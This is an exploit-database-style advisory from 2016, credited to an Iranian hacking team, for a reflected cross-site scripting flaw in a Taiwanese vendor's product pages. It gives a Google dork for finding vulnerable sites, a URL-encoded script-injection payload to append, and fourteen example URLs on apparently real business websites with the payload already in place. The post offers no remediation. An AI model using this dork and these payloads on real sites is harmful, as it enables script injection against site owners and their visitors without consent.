|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |----------------------In The Name Of God------------------------| |[+] Exploit Title: 百邇來 網頁設計 Cross Site Scripting |[+] |[+] Exploit Author: Ashiyane Digital Security Team |[+] |[+] Vendor Homepage: http://www.buyersline.com.tw/ |[+] |[+] Google Dork: intext:"網頁設計" inurl:product.php?cno= |[+] |[+] Tested on: Win 10 / Mozilla Firefox |[+] |[+] Date: 2016 01 10 |[+] |--------------------------------------------------------------| |[+] Exploit: |[+] Search dork and choose a target and add "%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22" after URL! |[+] To see Vulnerability! |--------------------------------------------------------------| |[+] Examples : |[+] |[+] http://www.fck.com.tw/product.php?CNo=%27%22%28%29%26%251%3CScRiPt%20%3Eprompt%28968647%29%3C%2fScRiPt%3E |[+] |[+] http://www.jen-yuan.com/product.php?CNo=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.prettychoice.com.tw/product.php?cno=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.milokemit.com.tw/product.php?CNo=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.powtea.com/product.php?cno=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.terrabella.com.tw/product.php?CNo=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.laclick.mobi/product.php?cno=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.kingwoods.com.tw/product.php?CNo=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.magic-lamp.com.tw/product.php?CNo=72%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.monodesign.com.tw/product.php?cno=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.inderle.com.tw/product.php?CNo=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.petrun.com.tw/product.php?CNo=10%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.wanyuh.com.tw/product.php?c_sn=26%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |[+] http://www.i-spray.com.tw/product.php?CNo=%22%20onmouseover%3dprompt%28991472%29%20bad%3d%22 |[+] |*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |[+] Discovered By : modiret |*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|